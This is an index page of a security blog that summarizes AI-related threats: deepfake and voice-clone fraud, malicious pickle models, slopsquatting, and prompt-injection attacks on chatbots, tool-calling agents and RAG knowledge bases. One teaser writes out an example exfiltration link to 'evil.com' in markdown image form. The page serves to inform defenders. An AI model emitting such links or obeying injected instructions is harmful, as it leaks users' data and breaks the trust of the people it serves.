IT Security & AI

Blog

Validated topics from research, threat analysis, law and case law – explained for practitioners and decision-makers.

AI threats (15)

AI threatsHighFeatured

The $25 Million Deepfake Call: When Every Colleague on the Video Chat Is Fake

The Arup case in Hong Kong (Jan./Feb. 2024). A finance employee transferred USD 25 million after a video conference in which the CFO and several colleagues appeared to be present…

Read more →
AI threatsHighFeatured

AI Voice Cloning: 3 Seconds of Voice Message Suffice for the Perfect Panic Call

Fraudsters use AI tools (ElevenLabs and others) to clone the exact voice of children or relatives from a few seconds of audio on social media and fake emergencies.

Read more →
AI threatsHighFeatured

Hugging Face & GitHub Gaps: Malicious Pickle Files in AI Models

Security analyses by Protect AI and Wiz uncovered hundreds of open-source models on Hugging Face that contained manipulated Python pickle files. Loading the model immediately…

Read more →
AI threats

Shadow AI at Work: When Employees Dump Trade Secrets into ChatGPT

Became known through incidents such as Samsung 2023, where developers pasted confidential source code into public chatbots for debugging, which then ended up in cloud logs and…

Read more →
AI threatsHigh

Slopsquatting / Hallucination Squatting: When AIs Invent Software Packages

Developers use AI coding assistants. AIs sometimes invent plausible but non-existent package names (e.g. on npm or PyPI). Criminals register exactly those fake packages and load…

Read more →
AI threatsHigh

Quishing: AI Phishing Hidden in QR Codes Tricks Scanners

Attackers combine AI-generated emotional cover letters with QR codes. Because mail security filters scan text but do not decode QR codes, the emails land in the inbox.

Read more →
AI threatsHigh

MCP & Tool-Calling Weaknesses: When the AI Unauthorizedly Wipes the Hard Drive

With protocols such as MCP (Model Context Protocol) or OpenAI Function Calling, AIs gain access to terminals, databases, and files. Through prompt injection, the AI can be made to…

Read more →
AI threatsHigh

Deepfake Identity Theft in Video-Ident Procedures

Criminals use AI face generators and virtual webcams to successfully complete online account openings at neobanks and crypto exchanges with stolen ID data.

Read more →
AI threats

Data Exfiltration via Markdown Images in Chatbots

If a chatbot is manipulated through prompt injection, it can encode sensitive data in the link of an invisible image (`![](https://evil.com/leak?data=SECRET)`). When the chat…

Read more →
AI threats

RAG Poisoning: Manipulated Documents Poison the Company Knowledge Base

Companies use Retrieval Augmented Generation (RAG) so AIs can access internal manuals and intranets. Attackers inject manipulated text snippets that falsify internal search…

Read more →
AI threats

CAPTCHA Breaking: Multimodal AIs Solve Protection Puzzles Instantly

Models such as GPT-4 Vision solve complex image and logic CAPTCHAs ('Find all traffic lights') with over 90 percent accuracy and beat humans in speed and precision.

Read more →
AI threats

Polymorphic AI Malware: Viruses That Change Their Appearance Every Minute

Concepts such as BlackMamba show how malware constantly rewrites its code at runtime via an AI API. Function and payload stay the same, but the hash and signature keep changing.

Read more →
AI threatsHigh

WhatsApp CEO Fraud: Cloned Voice Messages from the Boss Demand Urgency

Fraudsters send employees short voice messages in messengers: 'I'm on the plane right now — please urgently approve the invoice!'. The voice comes from YouTube interviews of the…

Read more →
AI threatsHigh

The Forgetting Dilemma: Why AIs Can Hardly Delete Personal Data

Machine unlearning is mathematically unsolved. Once a phone number or address is baked into a model's billions of parameters, you cannot delete it at the push of a button like in…

Read more →
AI threats

Automated Exploit Generation: AI Agents Find 0-Day Vulnerabilities

Security researchers (including the DARPA AI Cyber Challenge) show that AI systems can automatically scan software repositories, find logic flaws, and write working exploits in…

Read more →